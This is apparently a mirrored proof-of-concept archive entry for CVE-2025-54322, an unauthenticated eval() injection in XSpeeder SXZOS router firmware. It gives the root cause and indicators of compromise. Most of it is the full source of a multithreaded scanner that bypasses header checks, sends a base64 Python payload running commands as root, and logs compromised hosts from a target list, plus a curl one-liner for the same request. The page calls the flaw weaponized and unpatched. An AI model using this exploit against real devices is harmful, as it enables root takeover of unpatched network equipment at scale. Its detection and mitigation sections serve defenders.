PoC Archive PoC Archive
Critical CVE-2025-54322 unpatched

XSpeeder SXZOS Pre-Auth eval() Remote Code Execution (CVE-2025-54322)

by Chirag Artani (Sachinart); original discovery credited to pwn.ai · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-54322
Category
network
Affected product
XSpeeder SXZOS firmware (SD-WAN devices, routers, edge networking equipment)
Affected versions
Per source repository — SXZOS firmware builds with the vulnerable Django-based web interface exposed; vendor unresponsive, no patched version identified
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherChirag Artani (Sachinart); original discovery credited to pwn.ai
CVE / AdvisoryCVE-2025-54322
Categorynetwork
SeverityCritical
CVSS Score10.0 (per NVD; source lists 9.8+)
StatusWeaponized
Tagsxspeeder, sxzos, sd-wan, router, firmware, python, django, eval-injection, pre-auth, rce, cwe-95
RelatedN/A

Affected Target

FieldValue
Software / SystemXSpeeder SXZOS firmware (SD-WAN devices, routers, edge networking equipment)
Versions AffectedPer source repository — SXZOS firmware builds with the vulnerable Django-based web interface exposed; vendor unresponsive, no patched version identified
Language / PlatformPython 3 scanner targeting a Django-based embedded web interface on the device
Authentication RequiredNo
Network Access RequiredYes

Summary

XSpeeder SXZOS firmware exposes a Django-based web endpoint that passes a base64-decoded, attacker-controlled chkid query parameter into Python’s eval(). Because there is no authentication check on this endpoint and no sanitization of the decoded payload, an unauthenticated remote attacker can execute arbitrary Python (and by extension OS commands via os.system/subprocess) with root privileges on the device. scanner.py is a genuine multithreaded scanner that reproduces the full exploit chain end-to-end: it computes a time-based nonce, “warms up” a session against /webInfos/, crafts a base64-encoded eval() payload appended with a #sUserCodexsPwd comment (used to defeat a naive string filter), and sends it as the chkid parameter alongside decoy title/oIp parameters to preserve the expected 3-parameter request shape. A successful hit is detected by regexing the HTTP response for id-command output (uid=0(root) gid=0(root)), confirming root-level command execution. The vendor advisory states roughly 70,000+ internet-facing hosts were affected at time of disclosure.


Vulnerability Details

Root Cause

The vulnerable endpoint base64-decodes the chkid query parameter and passes the decoded string directly into Python’s eval() (or an equivalent code-execution sink) with no authentication and no input validation. The PoC’s payload construction illustrates the exact injection shape used against the endpoint:

1
2
3
4
5
def build_payload(self):
    cmd = 'id'
    payload = f'__import__("os").system("{cmd}") or __import__("subprocess").check_output("{cmd}", shell=True).decode() #sUserCodexsPwd'
    encoded_payload = b64encode(payload.encode()).decode("utf-8")
    return encoded_payload

The trailing #sUserCodexsPwd comment appears to be required to satisfy/bypass a server-side string check on the decoded value before it reaches eval().

Attack Vector

  1. Attacker computes a time-based nonce (int(time.time() / 60) % 7) and sends it in an X-SXZ-R header together with a spoofed User-Agent: SXZ/2.3, bypassing an Nginx front-end check that gates on user-agent and header timing.
  2. Attacker issues a “warm-up” GET /webInfos/ request with the same headers to establish the session state the vulnerable endpoint expects.
  3. Attacker base64-encodes a Python payload (e.g. running id) suffixed with #sUserCodexsPwd and sends GET /?title=ABC&oIp=XXX&chkid=<payload> — maintaining exactly 3 query parameters, which appears to be required by request validation logic.
  4. The Django backend decodes chkid and evaluates it, executing the embedded OS command with root privileges; the command output (e.g. uid=0(root) gid=0(root)) is reflected back in the HTTP response body, which the scanner detects via regex.

Impact

A remote, unauthenticated attacker achieves arbitrary command execution as root on the affected SD-WAN/router device, resulting in complete compromise of the device and any traffic or networks it mediates. At internet scale (~70,000+ exposed hosts per the source), this enables mass exploitation for botnet recruitment, traffic interception, or lateral movement into connected networks.


Environment / Lab Setup

Target:   XSpeeder SXZOS device with the vulnerable Django web interface reachable over HTTP/HTTPS
          (commonly on ports 4433/8443 per example target lists)
Attacker: Python 3.7+, `pip install requests urllib3`

Proof of Concept

PoC Script

See scanner.py in this folder.

1
2
3
4
5
6
7
8
python3 scanner.py targets.txt

python3 scanner.py targets.txt 20

curl -s -k \
  -H "User-Agent: SXZ/2.3" \
  -H "X-SXZ-R: <nonce 0-6>" \
  "https://TARGET:4433/?title=ABC&oIp=XXX&chkid=<base64_payload>"

Confirmed-vulnerable hosts and their id command output are written in real time to vuln-confirm.txt.


Detection & Indicators of Compromise

Requests to "/?title=*&oIp=*&chkid=*" carrying base64 payloads
User-Agent: SXZ/2.3
X-SXZ-R header present with single-digit (0-6) value
Base64-decoded chkid values containing "#sUserCodexsPwd"
GET /webInfos/ immediately preceding a request to "/"

Signs of compromise:

  • Web/access logs showing GET /webInfos/ followed within seconds by a GET /?title=...&oIp=...&chkid=... from the same source.
  • HTTP responses containing unexpected uid=/gid= output, Python tracebacks, or subprocess/CalledProcessError strings.
  • Unusual outbound connections or new processes spawned by the device’s web service process shortly after such requests.

Remediation

ActionDetail
Primary fixNo official patch identified at time of mirroring — vendor (XSpeeder) reported unresponsive after 7+ months of outreach; see references.
Interim mitigationImmediately remove affected devices from public internet exposure, segment them behind a firewall/VPN, and block requests where the chkid query parameter is present (e.g. if ($args ~* "chkid=") { return 403; } at a front-end Nginx/WAF layer).

References


Notes

Mirrored from https://github.com/Sachinart/CVE-2025-54322 on 2026-07-06. scanner.py is a genuine multithreaded pre-auth RCE scanner with nonce/header calculation targeting XSpeeder SXZOS endpoints; original vulnerability discovery is credited by the author to the pwn.ai autonomous research platform.

scanner.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
#!/usr/bin/env python3
import requests
import sys
import time
import re
import urllib3
from base64 import b64encode
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.adapters import HTTPAdapter
from urllib3.exceptions import InsecureRequestWarning as URLLib3InsecureWarning
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
#By Chirag Artani
# Disable all SSL warnings
urllib3.disable_warnings(URLLib3InsecureWarning)
urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Thread-safe locks
print_lock = Lock()
file_lock = Lock()

def safe_print(message):
    """Thread-safe printing"""
    with print_lock:
        print(message)

def write_vulnerable(url, output, status):
    """Thread-safe file writing for vulnerable hosts"""
    with file_lock:
        with open('vuln-confirm.txt', 'a') as f:
            f.write(f"{url}\n")
            f.write(f"Status: {status}\n")
            f.write(f"Output: {output}\n")
            f.write("-"*70 + "\n")

class SSLAdapter(HTTPAdapter):
    """Custom adapter to handle SSL issues"""
    def init_poolmanager(self, *args, **kwargs):
        kwargs['ssl_version'] = urllib3.util.ssl_.PROTOCOL_TLS
        kwargs['cert_reqs'] = 'CERT_NONE'
        kwargs['assert_hostname'] = False
        return super().init_poolmanager(*args, **kwargs)

class XspeederScanner:
    def __init__(self, target_url, max_retries=2, thread_id=None):
        self.target_url = target_url.rstrip('/')
        self.max_retries = max_retries
        self.thread_id = thread_id
        self.session = self._create_session()
        # Regex to match uid/gid output from 'id' command
        self.id_regex = re.compile(r'uid=\d+\([a-zA-Z0-9_-]+\)\s+gid=\d+\([a-zA-Z0-9_-]+\)')

    def _create_session(self):
        """Create a requests session with SSL bypass"""
        session = requests.Session()

        # Mount custom SSL adapter for both HTTP and HTTPS
        adapter = SSLAdapter()
        session.mount('http://', adapter)
        session.mount('https://', adapter)

        # Set default headers
        session.headers.update({
            'Connection': 'close',
            'Accept': '*/*'
        })

        return session

    def build_payload(self):
        """Build the exploit payload with 'id' command - MATCHING ORIGINAL"""
        cmd = 'id'
        # Use os.system() like original PoC, but capture output
        payload = f'__import__("os").system("{cmd}") or __import__("subprocess").check_output("{cmd}", shell=True).decode() #sUserCodexsPwd'
        encoded_payload = b64encode(payload.encode()).decode("utf-8")
        return encoded_payload

    def calculate_nonce(self):
        """Calculate the time-based nonce for X-SXZ-R header"""
        return str(int(time.time() / 60) % 7)

    def warm_session(self, headers):
        """Warm up the session - MATCHING ORIGINAL (no validation)"""
        try:
            warmup_url = f"{self.target_url}/webInfos/"
            self.session.get(
                warmup_url,
                headers=headers,
                verify=False,
                timeout=20,
                allow_redirects=True
            )
            return True
        except requests.exceptions.Timeout:
            return True
        except Exception:
            return False

    def send_exploit(self, headers, payload):
        """Send the actual exploit request"""
        try:
            exploit_url = f"{self.target_url}/?title=ABC&oIp=XXX&chkid={payload}"
            response = self.session.get(
                exploit_url,
                headers=headers,
                verify=False,
                timeout=20,
                allow_redirects=False
            )
            return response
        except Exception:
            return None

    def check_vulnerability(self):
        """Main function to check if target is vulnerable"""
        for attempt in range(1, self.max_retries + 1):
            try:
                # Calculate fresh nonce for each attempt
                nonce = self.calculate_nonce()

                headers = {
                    'User-Agent': 'SXZ/2.3',
                    'X-SXZ-R': nonce,
                    'Accept': '*/*'
                }

                # Step 1: Warm up session
                if not self.warm_session(headers):
                    if attempt < self.max_retries:
                        time.sleep(1)
                        continue
                    return {
                        'vulnerable': False,
                        'status': 'Connection completely failed',
                        'output': None
                    }

                # Small delay between requests
                time.sleep(0.3)

                # Step 2: Send exploit
                payload = self.build_payload()
                response = self.send_exploit(headers, payload)

                if response is None:
                    if attempt < self.max_retries:
                        time.sleep(1)
                        continue
                    return {
                        'vulnerable': False,
                        'status': 'Exploit delivery failed',
                        'output': None
                    }

                # Check response for 'id' command output
                response_text = response.text

                # Look for uid/gid pattern in response
                id_match = self.id_regex.search(response_text)

                if id_match:
                    return {
                        'vulnerable': True,
                        'status': 'VULNERABLE - RCE Confirmed',
                        'output': id_match.group(0),
                        'status_code': response.status_code,
                        'full_response': response_text[:500]
                    }

                # Check for other indicators (partial match)
                if 'uid=' in response_text or 'gid=' in response_text:
                    return {
                        'vulnerable': True,
                        'status': 'LIKELY VULNERABLE - Partial match',
                        'output': response_text[:200],
                        'status_code': response.status_code
                    }

                # Check for error indicators that suggest code execution
                execution_indicators = [
                    'CalledProcessError',
                    'subprocess',
                    'Traceback',
                    'NameError',
                    'SyntaxError',
                    'eval'
                ]

                if any(indicator in response_text for indicator in execution_indicators):
                    return {
                        'vulnerable': True,
                        'status': 'POTENTIALLY VULNERABLE - Code execution indicators found',
                        'output': response_text[:300],
                        'status_code': response.status_code
                    }

                # If no match and we have retries left, try again
                if attempt < self.max_retries:
                    time.sleep(1)
                    continue

                return {
                    'vulnerable': False,
                    'status': 'Not vulnerable',
                    'output': None,
                    'status_code': response.status_code
                }

            except Exception as e:
                if attempt < self.max_retries:
                    time.sleep(1)
                    continue
                return {
                    'vulnerable': False,
                    'status': f'Error: {str(e)[:100]}',
                    'output': None
                }

        return {
            'vulnerable': False,
            'status': 'Max retries exceeded',
            'output': None
        }

def load_targets(filename):
    """Load targets from file"""
    try:
        with open(filename, 'r') as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
        return targets
    except FileNotFoundError:
        print(f"[-] Error: File '{filename}' not found")
        sys.exit(1)
    except Exception as e:
        print(f"[-] Error reading file: {e}")
        sys.exit(1)

def scan_target(target, thread_id):
    """Scan a single target (thread worker function)"""
    scanner = XspeederScanner(target, max_retries=2, thread_id=thread_id)
    result = scanner.check_vulnerability()
    return target, result

def print_vulnerable(target, result):
    """Print only vulnerable results (thread-safe)"""
    output = []
    output.append(f"\n{'='*70}")
    output.append(f"[+] VULNERABLE: {target}")
    output.append(f"[+] Status: {result['status']}")
    if 'status_code' in result:
        output.append(f"[+] HTTP Status: {result['status_code']}")
    output.append(f"[+] Output: {result['output']}")
    output.append(f"{'='*70}\n")

    safe_print('\n'.join(output))

def main():
    banner = """
╔═══════════════════════════════════════════════════════════════╗
║     XSpeeder SXZOS (CVE-2025-54322) RCE Scanner              ║
║     Pre-Auth Root RCE Vulnerability Checker                   ║
║     Showing: VULNERABLE HOSTS ONLY                            ║
╚═══════════════════════════════════════════════════════════════╝
    """
    print(banner)

    if len(sys.argv) < 2 or len(sys.argv) > 3:
        print("[-] Usage: python3 scanner.py <targets_file> [threads]")
        print("[-] Example: python3 scanner.py targets.txt 20")
        print("[-] Default threads: 10")
        sys.exit(1)

    targets_file = sys.argv[1]
    max_threads = int(sys.argv[2]) if len(sys.argv) == 3 else 10

    # Validate thread count
    if max_threads < 1 or max_threads > 50:
        print("[-] Thread count must be between 1 and 50")
        sys.exit(1)

    targets = load_targets(targets_file)

    # Clear the output file
    with open('vuln-confirm.txt', 'w') as f:
        f.write(f"XSpeeder SXZOS CVE-2025-54322 - Vulnerable Hosts\n")
        f.write(f"Scan started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
        f.write("="*70 + "\n\n")

    print(f"[*] Loaded {len(targets)} targets from {targets_file}")
    print(f"[*] Using {max_threads} concurrent threads")
    print(f"[*] Vulnerable hosts will be saved to: vuln-confirm.txt")
    print(f"[*] Starting scan...\n")

    vulnerable_count = 0
    processed = 0
    start_time = time.time()

    # Threading with ThreadPoolExecutor
    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        # Submit all tasks
        future_to_target = {
            executor.submit(scan_target, target, i): target
            for i, target in enumerate(targets, 1)
        }

        try:
            # Process completed tasks
            for future in as_completed(future_to_target):
                target = future_to_target[future]
                processed += 1

                try:
                    target_url, result = future.result()

                    # Only print and save if vulnerable
                    if result['vulnerable']:
                        vulnerable_count += 1
                        print_vulnerable(target_url, result)
                        write_vulnerable(target_url, result['output'], result['status'])

                    # Print progress every 50 hosts
                    if processed % 50 == 0:
                        safe_print(f"[*] Progress: {processed}/{len(targets)} | Found: {vulnerable_count} vulnerable")

                except Exception as e:
                    safe_print(f"[!] Error processing {target}: {e}")

        except KeyboardInterrupt:
            safe_print("\n\n[!] Scan interrupted by user. Waiting for active threads to finish...")
            executor.shutdown(wait=True)

    elapsed_time = time.time() - start_time

    # Final Summary
    print(f"\n{'='*70}")
    print(f"[*] SCAN COMPLETE")
    print(f"{'='*70}")
    print(f"[*] Total Time: {elapsed_time:.2f} seconds")
    print(f"[*] Total Targets Scanned: {len(targets)}")
    print(f"[*] Vulnerable Hosts Found: {vulnerable_count}")
    print(f"[*] Success Rate: {(vulnerable_count/len(targets)*100):.2f}%")
    print(f"[*] Average Time per Target: {elapsed_time/len(targets):.2f} seconds")
    print(f"{'='*70}\n")

    if vulnerable_count > 0:
        print(f"[+] All vulnerable hosts saved to: vuln-confirm.txt")
        print(f"[+] Total vulnerable: {vulnerable_count}/{len(targets)}")
    else:
        print(f"[-] No vulnerable hosts found")

    # Append summary to file
    with open('vuln-confirm.txt', 'a') as f:
        f.write("\n" + "="*70 + "\n")
        f.write(f"Scan completed: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
        f.write(f"Total scanned: {len(targets)}\n")
        f.write(f"Vulnerable: {vulnerable_count}\n")
        f.write(f"Time taken: {elapsed_time:.2f} seconds\n")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[!] Script terminated by user")
        sys.exit(0)
    except Exception as e:
        print(f"\n[!] Fatal error: {e}")
        sys.exit(1)